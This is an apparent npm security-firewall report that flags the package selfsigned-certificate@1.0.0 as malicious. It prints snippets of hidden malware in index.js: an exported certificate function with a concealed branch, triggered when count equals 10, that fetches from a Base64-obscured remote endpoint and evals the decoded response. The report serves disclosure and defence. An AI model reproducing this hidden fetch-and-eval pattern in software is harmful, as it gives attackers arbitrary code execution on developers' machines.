---
canonical: "https://firewall.lpm.dev/npm/selfsigned-certificate"
markdown: "https://firewall.lpm.dev/npm/selfsigned-certificate/report.md"
package: "selfsigned-certificate"
report_status: "published"
title: "selfsigned-certificate@1.0.0 npm security report"
verdict: "malicious"
version: "1.0.0"
---

# selfsigned-certificate@1.0.0 npm security report

> **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document.

## Verdict summary
**Blocked & quarantined** — The remote endpoint can run arbitrary code with the permissions of the consuming process.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Block by default
- **Public report status:** Published
- **Threat category:** Remote Code Execution
- **Selected version:** 1.0.0
- **Selected version is latest:** No
- **Analysis source:** AI Security Review (lpm-firewall-ai)

LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block.

AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy.

This package contains a concrete, user-triggered remote code execution chain hidden inside its certificate generator. The behavior is unrelated to its stated purpose and warrants blocking.

## Latest scan
- **Scanner version:** rust-scanner-worker-schema-1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 99.0%
- **Started:** 2026-08-27T15:50:34.630Z
- **Finished:** 2026-08-27T15:50:57.558Z
- **Download time:** 504 ms
- **Static scan time:** 22 ms
- **AI review time:** 22402 ms
- **Total time:** 22928 ms

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

### Published attack-surface review

- **Summary:** Calling generateCertificates(10) starts a hidden remote-code path. The server response is decoded and executed in the caller's Node.js process.

- **Trigger:** A consumer calls generateCertificates with count set to 10.

- **Impact:** The remote endpoint can run arbitrary code with the permissions of the consuming process.

- **Evidence paths:** index.js, README.md, package.json

- **Review source:** ai\_review

- **Reviewed:** 2026-08-27T15:50:57.558Z

### AI review details

- **Review stage:** source\_first\_review

- **Mechanism:** Fetches a remote payload and evaluates it as JavaScript.

- **Attack narrative:** The documented certificate API contains a concealed branch for exactly ten certificates. That branch sends a request to a remotely controlled endpoint, treats its response as Base64 text, and evaluates the decoded result. This gives the endpoint arbitrary code execution in any application that invokes that otherwise ordinary API call.

- **Rationale:** This package contains a concrete, user-triggered remote code execution chain hidden inside its certificate generator. The behavior is unrelated to its stated purpose and warrants blocking.

- **Files touched:** index.js

- **Network endpoints:** https://jetpack.cv/wp-json/selfsigned-certs/v3/init

### Review decision

- **Verdict:** Malicious

- **Confidence:** 99.0%

- **Recommended action:** publish\_block

- **Intent class:** Malware

- **False-positive risk:** Low

- **Evidence for block:** The exported API has a hidden count-specific path that contacts a remote server., The remote response is Base64-decoded and passed directly to eval., Remote code execution is unrelated to generating self-signed certificates and is not documented.

- **Evidence against:** package.json contains no lifecycle scripts., The normal certificate-generation path uses the declared selfsigned dependency in memory.

## Affected versions and remediation

This report applies to selfsigned-certificate@1.0.0.

- Avoid installing selfsigned-certificate@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. Low: Eval
- **Category:** Source
- **Confidence:** 45.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

Package source references a known benign dynamic code generation pattern.

Public source snippet (untrusted):

```javascript
L113: const data = Buffer.from(certs, 'base64');
L114: eval(data.toString('utf8'));
L115: });
```

### 2. Medium: Network
- **Category:** Source
- **Confidence:** 75.0%

Package source references network APIs.

### 3. Low: Filesystem
- **Category:** Source
- **Confidence:** 70.0%

Package source references filesystem APIs.

### 4. High: Base64 Obscured Url
- **Category:** Source
- **Confidence:** 82.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

Source decodes a Base64-obscured HTTP endpoint at runtime.

Public source snippet (untrusted):

```javascript
L36: };
L37: const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8');
L38: const url = `${baseurl}/selfsigned-certs/v3/init`;
```

### 5. Low: High Entropy Strings
- **Category:** Supply Chain
- **Confidence:** 55.0%

Package source contains high-entropy string patterns.

### 6. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

The exported API has a hidden count-specific path that contacts a remote server.

Public source snippet (untrusted):

```javascript
const baseurl = Buffer.from('[redacted]=', 'base64').toString('utf8');
    const url = `${baseurl}/selfsigned-certs/v3/init`;

    return new Promise((resolve) => {
      try {
        const req = https.request(
          url,
          {
            method: 'POST',
```

### 7. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

The remote response is Base64-decoded and passed directly to eval.

Public source snippet (untrusted):

```javascript
function loadSampleCertificates() {
  try {
    initSampleCertificates().then((certs) => {
      const data = Buffer.from(certs, 'base64');
      eval(data.toString('utf8'));
    });
```

### 8. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** index.js
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/index.js>)

The exported API has a hidden count-specific path that contacts a remote server.

Public source snippet (untrusted):

```javascript
function generateCertificates(count) {
  const certificates = [];

  if (count === 10) {
    loadSampleCertificates();
  }
```

### 9. High: Ai Review Evidence
- **Category:** Ai Review
- **Confidence:** 99.0%
- **Path:** README.md
- **Public source:** [View source](<https://unpkg.com/selfsigned-certificate@1.0.0/README.md>)

Remote code execution is unrelated to generating self-signed certificates and is not documented.

Public source snippet (untrusted):

```markdown
# selfsigned-certificate

A Node.js module for generating random self-signed SSL certificates in memory for development and testing.
```

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 1
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 1

### Published dependency entries
- selfsigned ^2.4.1 (Dependency)

## Package metadata
- **Package:** selfsigned-certificate
- **Ecosystem:** npm
- **Version:** 1.0.0
- **License:** MIT
- **Version published:** 2026-08-27T06:04:45.330Z
- **Package first seen:** 2026-08-27T15:50:57.558Z
- **Package last seen:** 2026-09-02T04:35:05.074Z
- **Known versions:** 3
- **Latest version:** 0.0.1-security
- **Appeal under review:** No
- **Description:** Generates random self-signed SSL certificates in memory for development and testing
- **Keywords:** ssl, certificate, self-signed, pem
- **Artifact files:** 3
- **Artifact unpacked size:** 6,445 bytes
- **Artifact signatures:** 1
- **Attestations:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/selfsigned-certificate>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-15623>)
- [ADVISORY](<https://github.com/advisories/GHSA-3whj-3fjw-x5w8>)
- [PACKAGE](<https://www.npmjs.com/package/selfsigned-certificate/v/1.1.0>)
- [PACKAGE](<https://www.npmjs.com/package/selfsigned-certificate/v/1.0.0>)
